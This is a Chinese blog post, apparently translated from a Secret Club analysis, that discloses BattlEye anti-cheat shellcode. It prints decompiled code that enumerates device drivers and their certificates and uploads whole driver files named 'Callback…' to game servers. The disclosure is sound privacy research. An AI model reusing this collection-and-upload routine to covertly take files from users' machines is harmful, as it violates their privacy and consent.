首页
学习
活动
专区
圈层
工具
发布
社区首页 >专栏 >BattlEye堆栈行走(1)

BattlEye堆栈行走(1)

原创
作者头像
franket
修改2021-03-10 19:18:48
修改2021-03-10 19:18:48
7690
举报
文章被收录于专栏:技术杂记技术杂记

现代商业反作弊面临着专业游戏黑客生产中日益增强的竞争能力,因此已经开始采取可疑的方法来防止这种情况。在本文中,我们将介绍一个以前未知的反作弊模块,该模块被商业化的反作弊BattlEye推到播放器的一小部分。流行的理论是,由于该模块是动态推送的,因此该模块专门针对反向工程师,以监视视频游戏黑客工具的产生。

Shellcode ??

本文中的代码段是对我们从BattlEye转储和反混淆的shellcode 1的美化反编译。Shellcode在Tarkov的Escape中混乱时被推送到我的开发机器上。在这台机器上,各种逆向工程应用程序(例如x64dbg)已安装并经常运行,这可能引起了有关反作弊的注意。为了证实怀疑,启动了主要用于测试的辅助计算机,并在其上安装了来自Tarkov的Escape。有问题的shellcode没有推送到辅助计算机,该辅助计算机在与开发计算机相同的网络上运行,并使用相同的游戏帐户。

1 Shellcode指的是动态加载到正在运行的进程中的独立代码。

Secret Club的其他成员也经历过同样的磨难,这里的共同点是我们都是高度专业的反向工程师,这意味着大多数工程师都安装了相同的应用程序。为了给棺材钉上钉子,我让我的一些高中同学让我在玩Tarkov的Escape时在他们的机器上记录shellcode活动(使用虚拟机监控程序),但没有一个人收到有问题的模块。毋庸置疑,下面的代码段将显示针对某种技术上的少数派。

语境(

在本文中,您将看到对称为的函数的引用battleye::send。商业防欺诈使用此功能将信息从BEClient_x64/x86.dll游戏过程中的客户端模块发送到相应的游戏服务器。这将被解释为纯粹的“通过互联网发送数据”功能,并且仅将缓冲区作为输入。每个报告标题中的ID确定“数据包”的类型,可用于区分数据包。

设备驱动程序枚举

该例程有两个主要目的:枚举设备驱动程序和各个设备驱动程序使用的已安装证书。尽管前者有些令人惊讶,但此shellcode会将与任意“邪恶”过滤器匹配的任何设备驱动程序(!!)上传到游戏服务器。这意味着,如果您的专有,绝密且完全不相关的设备驱动程序中包含单词“ Callback”,则shellcode会将文件的全部内容上传到磁盘上。这是一个隐私问题,因为它是设备驱动程序的一个相对常用的词,该设备驱动程序安装了用于监视事件的内核回调。

证书枚举器将计算机上设备驱动程序使用的所有证书的内容直接发送到游戏服务器:

代码语言:txt
复制
  // ONLY ENUMERATE ON X64 MACHINES
  GetNativeSystemInfo(&native_system_info);
  if ( native_system_info.u.s.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64 )
  {
    if ( EnumDeviceDrivers(device_list, 0x2000, &required_size) )
    {
      if ( required_size <= 0x2000u )
      {
        report_buffer = (__int8 *)malloc(0x7530);
        report_buffer[0] = 0;
        report_buffer[1] = 0xD;
        buffer_index = 2;

        // DISABLE FILESYSTEM REDIRECTION IF RUN IN WOW64
        if ( Wow64EnableWow64FsRedirection )
          Wow64EnableWow64FsRedirection(0);

        // ITERATE DEVICE DRIVERS
        for ( device_index = 0; ; ++device_index )
        {
          if ( device_index >= required_size / 8u /* MAX COUNT*/ )
            break;

          // QUERY DEVICE DRIVER FILE NAME
          driver_file_name_length = GetDeviceDriverFileNameA(
                                      device_list[device_index],
                                      &report_buffer[buffer_index + 1],
                                      0x100);
          report_buffer[buffer_index] = driver_file_name_length;

          // IF QUERY DIDN'T FAIL
          if ( driver_file_name_length )
          {
            // CACHE NAME BUFFER INDEX FOR LATER USAGE
            name_buffer_index = buffer_index;

            // OPEN DEVICE DRIVER FILE HANDLE
            device_driver_file_handle = CreateFileA(
                                          &report_buffer[buffer_index + 1],
                                          GENERIC_READ,
                                          FILE_SHARE_READ,
                                          0,
                                          3,
                                          0,
                                          0);

            if ( device_driver_file_handle != INVALID_HANDLE_VALUE )
            {
              // CONVERT DRIVER NAME
              MultiByteToWideChar(
                0,
                0,
                &report_buffer[buffer_index + 1],
                0xFFFFFFFF,
                &widechar_buffer,
                0x100);
            }
            after_device_driver_file_name_index = buffer_index + report_buffer[buffer_index] + 1;

            // QUERY DEVICE DRIVER FILE SIZE
            *(_DWORD *)&report_buffer[after_device_driver_file_name_index] = GetFileSize(device_driver_file_handle, 0);
            after_device_driver_file_name_index += 4;
            report_buffer[after_device_driver_file_name_index] = 0;
            buffer_index = after_device_driver_file_name_index + 1;

            CloseHandle(device_driver_file_handle);

            // IF FILE EXISTS ON DISK
            if ( device_driver_file_handle != INVALID_HANDLE_VALUE )
            {
              // QUERY DEVICE DRIVER CERTIFICATE
              if ( CryptQueryObject(
                     1,
                     &widechar_buffer,
                     CERT_QUERY_CONTENT_FLAG_PKCS7_SIGNED_EMBED,
                     CERT_QUERY_FORMAT_FLAG_BINARY,
                     0,
                     &msg_and_encoding_type,
                     &content_type,
                     &format_type,
                     &cert_store,
                     &msg_handle,
                     1) )
              {
                // QUERY SIGNER INFORMATION SIZE
                if ( CryptMsgGetParam(msg_handle, CMSG_SIGNER_INFO_PARAM, 0, 0, &signer_info_size) )
                {
                  signer_info = (CMSG_SIGNER_INFO *)malloc(signer_info_size);
                  if ( signer_info )
                  {
                    // QUERY SIGNER INFORMATION
                    if ( CryptMsgGetParam(msg_handle, CMSG_SIGNER_INFO_PARAM, 0, signer_info, &signer_info_size) )
                    {
                      qmemcpy(&issuer, &signer_info->Issuer, sizeof(issuer));
                      qmemcpy(&serial_number, &signer_info->SerialNumber, sizeof(serial_number));
                      cert_ctx = CertFindCertificateInStore(
                                                   cert_store,
                                                   X509_ASN_ENCODING|PKCS_7_ASN_ENCODING,
                                                   0,
                                                   CERT_FIND_SUBJECT_CERT,
                                                   &certificate_information,
                                                   0); 
                      if ( cert_ctx )
                      {
                        // QUERY CERTIFICATE NAME
                        cert_name_length = CertGetNameStringA(
                                             cert_ctx,
                                             CERT_NAME_SIMPLE_DISPLAY_TYPE,
                                             0,
                                             0,
                                             &report_buffer[buffer_index],
                                             0x100);
                        report_buffer[buffer_index - 1] = cert_name_length;
                        if ( cert_name_length )
                        {
                          report_buffer[buffer_index - 1] -= 1;
                          buffer_index += character_length;
                        }
                        // FREE CERTIFICATE CONTEXT
                        CertFreeCertificateContext(cert_ctx);
                      }
                    }
                    free(signer_info);
                  }
                }
                // FREE CERTIFICATE STORE HANDLE
                CertCloseStore(cert_store, 0);
                CryptMsgClose(msg_handle);
              }

              // DUMP ANY DRIVER NAMED "Callback????????????" where ? is wildmark
              if ( *(_DWORD *)&report_buffer[name_buffer_index - 0x11 + report_buffer[name_buffer_index]] == 'llaC'
                && *(_DWORD *)&report_buffer[name_buffer_index - 0xD + report_buffer[name_buffer_index]] == 'kcab'
                && (unsigned __int64)suspicious_driver_count < 2 )
              {
                // OPEN HANDLE ON DISK
                file_handle = CreateFileA(
                    &report_buffer[name_buffer_index + 1],
                    0x80000000,
                    1,
                    0,
                    3,
                    128,
                    0);

                if ( file_handle != INVALID_HANDLE_VALUE )
                {
                  // INITIATE RAW DATA DUMP
                  raw_packet_header.pad = 0;
                  raw_packet_header.id = 0xBEu;
                  battleye::send(&raw_packet_header, 2, 0);

                  // READ DEVICE DRIVER CONTENTS IN CHUNKS OF 0x27EA (WHY?)
                  while ( ReadFile(file_handle, &raw_packet_header.buffer, 0x27EA, &size, 0x00) && size )
                  {
                    raw_packet_header.pad = 0;
                    raw_packet_header.id = 0xBEu;
                    battleye::send(&raw_packet_header, (unsigned int)(size + 2), 0);
                  }

                  CloseHandle(file_handle);
                }
              }  
            }
          }
        }

        // ENABLE FILESYSTEM REDIRECTION
        if ( Wow64EnableWow64FsRedirection )
        {
          Wow64EnableWow64FsRedirection(1, required_size % 8u);
        }

        // SEND DUMP
        battleye::send(report_buffer, buffer_index, 0);
        free(report_buffer);
      }
    }
  }

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
作者已关闭评论
0 条评论
热度
最新
推荐阅读
目录
  • Shellcode ??
  • 语境(
  • 设备驱动程序枚举
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档